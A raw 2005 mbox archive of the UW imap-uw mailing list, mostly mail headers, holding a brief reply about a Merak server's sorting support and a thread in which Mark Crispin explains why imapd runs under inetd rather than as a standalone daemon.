https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 11 16:10:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Aug 2005 16:10:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7BNAxBB032106 for ; Thu, 11 Aug 2005 16:10:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BNAweA014397 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 11 Aug 2005 16:10:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BNAhSn022579; Thu, 11 Aug 2005 16:10:43 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BNAfH3022547 for ; Thu, 11 Aug 2005 16:10:41 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BNAfxj002071 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Aug 2005 16:10:41 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BNAecv031144 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Aug 2005 16:10:40 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7BNAeI5009514 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 11 Aug 2005 16:10:40 -0700 Date: Thu, 11 Aug 2005 16:10:40 -0700 (Pacific Daylight Time) From: Mark Crispin To: daniel@xyz-network.com Subject: Re: [Imap-uw] c-client and Merak mailserver In-Reply-To: <20050811231300.4f2cxhoi8ckc8ogs@mail.xyz-network.com> Message-ID: References: <20050811231300.4f2cxhoi8ckc8ogs@mail.xyz-network.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Without being able to log in on the server in question, there is no good way to investigate the problem. However, the symptoms that you report are consistant with a server that advertises that it has server-based sorting, but does not actually implement it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 00:17:26 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 00:17:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7C7HQhu020264 for ; Fri, 12 Aug 2005 00:17:26 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7HPkB005474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 00:17:25 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7HDrY023733; Fri, 12 Aug 2005 00:17:13 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7HCb7023725 for ; Fri, 12 Aug 2005 00:17:12 -0700 Received: from athens.techico.net (athens.techico.net [69.61.45.82]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7HAuP017535 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 12 Aug 2005 00:17:12 -0700 Received: from athens.techico.net (localhost [127.0.0.1]) by athens.techico.net (8.12.11/8.12.11) with ESMTP id j7C7GWsm011568 for ; Fri, 12 Aug 2005 00:16:32 -0700 Received: (from apache@localhost) by athens.techico.net (8.12.11/8.12.11/Submit) id j7C7GW34011566 for imap-uw@u.washington.edu; Fri, 12 Aug 2005 00:16:32 -0700 X-Authentication-Warning: athens.techico.net: apache set sender to marquisj@techico.net using -f Received: from adsl-64-169-154-221.dsl.chic01.pacbell.net (adsl-64-169-154-221.dsl.chic01.pacbell.net [64.169.154.221]) by email.techico.net (Horde MIME library) with HTTP for ; Fri, 12 Aug 2005 00:16:32 -0700 Message-ID: <20050812001632.x12kbxdyndq4gsss@email.techico.net> Date: Fri, 12 Aug 2005 00:16:32 -0700 From: Josh Marquis To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.0.3) X-WebMail-Company: TeChico.net X-Originating-IP: 64.169.154.221 X-Remote-Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Running imapd/ipop3d as standalone servers: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Evening, I would like to run imapd as a standalone service rather than through inetd but couldn't find any information on how to do this. Thanks for the help and I apologize if this has already been answered...I really did look :) Josh _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 00:30:55 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 00:30:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7C7UsNT020827 for ; Fri, 12 Aug 2005 00:30:54 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7Ur08006066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 00:30:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7UaZe024910; Fri, 12 Aug 2005 00:30:36 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7UZRS024902 for ; Fri, 12 Aug 2005 00:30:35 -0700 Received: from prime.gushi.org (prime.gushi.org [65.125.228.130]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7UYOk002089 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 12 Aug 2005 00:30:35 -0700 Received: from prime.gushi.org (danm@localhost.gushi.org [127.0.0.1]) by prime.gushi.org (8.13.4/8.13.4) with ESMTP id j7C7ZLmh075898 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 03:35:21 -0400 (EDT) Received: (from danm@localhost) by prime.gushi.org (8.13.4/8.13.4/Submit) id j7C7ZKGc075897; Fri, 12 Aug 2005 03:35:20 -0400 (EDT) Date: Fri, 12 Aug 2005 03:35:20 -0400 (EDT) From: "Dan Mahoney, System Admin" To: Josh Marquis Subject: Re: [Imap-uw] Running imapd/ipop3d as standalone servers: In-Reply-To: <20050812001632.x12kbxdyndq4gsss@email.techico.net> Message-ID: <20050812033000.M61674@prime.gushi.org> References: <20050812001632.x12kbxdyndq4gsss@email.techico.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 12 Aug 2005, Josh Marquis wrote: Josh, I don't actually think it's possible -- as I recall I had a similar issue with telnetd under BSD a while back, because I thought firing up inetd for a single daemon was silly. Looking over most of the FAQ, I see no mention of running it standalone, which leads me to believe the code *just isn't there* to handle connections. I could of course be wrong, if anyone else would care to correct me? -Dan > Evening, > > I would like to run imapd as a standalone service rather than through inetd but > couldn't find any information on how to do this. > > Thanks for the help and I apologize if this has already been answered...I really > did look :) > > Josh > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > -- "We are basically...'Bandwidth Pimps'...Hrmmm...But that's cool man! You see these gold chains? It's all good!" -Ali Dhoon 03/03/2003, 7PM --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 00:47:32 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 00:47:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7C7lVeK021439 for ; Fri, 12 Aug 2005 00:47:31 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7lVJh022599 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 00:47:31 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7l0xo026491; Fri, 12 Aug 2005 00:47:00 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7kw9J026483 for ; Fri, 12 Aug 2005 00:46:58 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7kw5W028854 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 12 Aug 2005 00:46:58 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7kvEg009365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 12 Aug 2005 00:46:58 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7C7ktSD010044 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 12 Aug 2005 00:46:57 -0700 Date: Fri, 12 Aug 2005 00:46:54 -0700 (PDT) From: Mark Crispin To: Josh Marquis Subject: Re: [Imap-uw] Running imapd/ipop3d as standalone servers: In-Reply-To: <20050812001632.x12kbxdyndq4gsss@email.techico.net> Message-ID: References: <20050812001632.x12kbxdyndq4gsss@email.techico.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 12 Aug 2005, Josh Marquis wrote: > I would like to run imapd as a standalone service rather than through inetd but > couldn't find any information on how to do this. You can't. Nor does it make any sense to change do so. Each imapd session has to run in its own process, since it setuids itself to the user that logs in via IMAP. If imapd ran as a standalone server, it would actually consume an additional process than the current scheme of running imapd under inetd. Standalone daemons only make sense if the daemon needs to be continously running doing something other than being a server (such as sendmail, which must also maintain mail queues and deliver mail), or if the task of the daemon is ameniable to being threaded. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 00:51:12 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 00:51:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7C7pBKc021554 for ; Fri, 12 Aug 2005 00:51:11 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7pA4O006883 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 00:51:11 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7p4tM026813; Fri, 12 Aug 2005 00:51:04 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7mYQ2026603 for ; Fri, 12 Aug 2005 00:48:34 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7mY9P008844 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 12 Aug 2005 00:48:34 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C7mX6Y015483 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 12 Aug 2005 00:48:34 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7C7mWBu010102 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 12 Aug 2005 00:48:33 -0700 Date: Fri, 12 Aug 2005 00:48:31 -0700 (PDT) From: Mark Crispin To: "Dan Mahoney, System Admin" Subject: Re: [Imap-uw] Running imapd/ipop3d as standalone servers: In-Reply-To: <20050812033000.M61674@prime.gushi.org> Message-ID: References: <20050812001632.x12kbxdyndq4gsss@email.techico.net> <20050812033000.M61674@prime.gushi.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 12 Aug 2005, Dan Mahoney, System Admin wrote: > I don't actually think it's possible -- as I recall I had a similar issue > with telnetd under BSD a while back, because I thought firing up inetd for a > single daemon was silly. Why do you think that it is silly? Do you understand what inetd actually does? It is actually more efficient to use inetd than it is to have standalone network server daemons. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 02:35:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 02:35:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7C9Znu2028350 for ; Fri, 12 Aug 2005 02:35:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C9ZmYp011865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 02:35:48 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C9ZXTV006349; Fri, 12 Aug 2005 02:35:33 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C9ZWLD006339 for ; Fri, 12 Aug 2005 02:35:32 -0700 Received: from prime.gushi.org (prime.gushi.org [65.125.228.130]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7C9ZVRO031934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 12 Aug 2005 02:35:32 -0700 Received: from prime.gushi.org (danm@localhost.gushi.org [127.0.0.1]) by prime.gushi.org (8.13.4/8.13.4) with ESMTP id j7C9eICJ004617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 05:40:18 -0400 (EDT) Received: (from danm@localhost) by prime.gushi.org (8.13.4/8.13.4/Submit) id j7C9eIvr004616; Fri, 12 Aug 2005 05:40:18 -0400 (EDT) Date: Fri, 12 Aug 2005 05:40:18 -0400 (EDT) From: "Dan Mahoney, System Admin" To: Mark Crispin Subject: Re: [Imap-uw] Running imapd/ipop3d as standalone servers: In-Reply-To: Message-ID: <20050812053855.N61674@prime.gushi.org> References: <20050812001632.x12kbxdyndq4gsss@email.techico.net> <20050812033000.M61674@prime.gushi.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 12 Aug 2005, Mark Crispin wrote: > On Fri, 12 Aug 2005, Dan Mahoney, System Admin wrote: >> I don't actually think it's possible -- as I recall I had a similar issue >> with telnetd under BSD a while back, because I thought firing up inetd for >> a single daemon was silly. > > Why do you think that it is silly? Past tense. Thought. Long since educated I have been :) -- "Be happy. Try not to hurt each other. Hope you fall in love." --Mallory, Family Ties Finale (on the meaning of life) --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 12 08:18:31 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Aug 2005 08:18:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7CFIVQk011596 for ; Fri, 12 Aug 2005 08:18:31 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7CFIUP1029250 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 12 Aug 2005 08:18:30 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7CFI8Ml031322; Fri, 12 Aug 2005 08:18:08 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7CFI6t8031313 for ; Fri, 12 Aug 2005 08:18:06 -0700 Received: from athens.techico.net (athens.techico.net [69.61.45.82]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7CFI4DF022048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 12 Aug 2005 08:18:06 -0700 Received: from athens.techico.net (localhost [127.0.0.1]) by athens.techico.net (8.12.11/8.12.11) with ESMTP id j7CFHPE0012465 for ; Fri, 12 Aug 2005 08:17:25 -0700 Received: (from apache@localhost) by athens.techico.net (8.12.11/8.12.11/Submit) id j7CFHPiw012463 for imap-uw@u.washington.edu; Fri, 12 Aug 2005 08:17:25 -0700 X-Authentication-Warning: athens.techico.net: apache set sender to marquisj@techico.net using -f Received: from adsl-64-169-154-221.dsl.chic01.pacbell.net (adsl-64-169-154-221.dsl.chic01.pacbell.net [64.169.154.221]) by email.techico.net (Horde MIME library) with HTTP for ; Fri, 12 Aug 2005 08:17:25 -0700 Message-ID: <20050812081725.jdz6t3du7iko88o8@email.techico.net> Date: Fri, 12 Aug 2005 08:17:25 -0700 From: Josh Marquis To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Running imapd/ipop3d as standalone servers: References: <20050812001632.x12kbxdyndq4gsss@email.techico.net> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.0.3) X-WebMail-Company: TeChico.net X-Originating-IP: 64.169.154.221 X-Remote-Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Wow, active community. Thanks for all the replies everyone. Answered my question and did so very quickly! Thanks again, Josh Quoting Mark Crispin : > On Fri, 12 Aug 2005, Josh Marquis wrote: >> I would like to run imapd as a standalone service rather than >> through inetd but >> couldn't find any information on how to do this. > > You can't. > > Nor does it make any sense to change do so. Each imapd session has > to run in its own process, since it setuids itself to the user that > logs in via IMAP. If imapd ran as a standalone server, it would > actually consume an > additional process than the current scheme of running imapd under inetd. > > Standalone daemons only make sense if the daemon needs to be > continously running doing something other than being a server (such > as sendmail, which must also maintain mail queues and deliver mail), > or if the task of the daemon is ameniable to being threaded. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 04:06:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 04:06:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HB6ZBZ019152 for ; Wed, 17 Aug 2005 04:06:35 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HB6YPh014790 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 04:06:34 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HB6CV0004903; Wed, 17 Aug 2005 04:06:12 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HB6Aq6004895 for ; Wed, 17 Aug 2005 04:06:10 -0700 Received: from paegas.mail-atlas.net (paegas.mail-atlas.net [212.47.13.199]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HB67IK018904 for ; Wed, 17 Aug 2005 04:06:08 -0700 Received: from kokos ([212.47.13.131]) by paegas.mail-atlas.net for imap-uw@u.washington.edu; Wed, 17 Aug 2005 13:06:05 +0200 From: "Jozef Rujak" To: imap-uw@u.washington.edu Message-ID: Date: Wed, 17 Aug 2005 13:06:05 +0200 X-Priority: 3 (Normal) MIME-Version: 1.0 Content-type: text/plain; charset=windows-1250 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Imapd-2004e and Solaris 10 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: 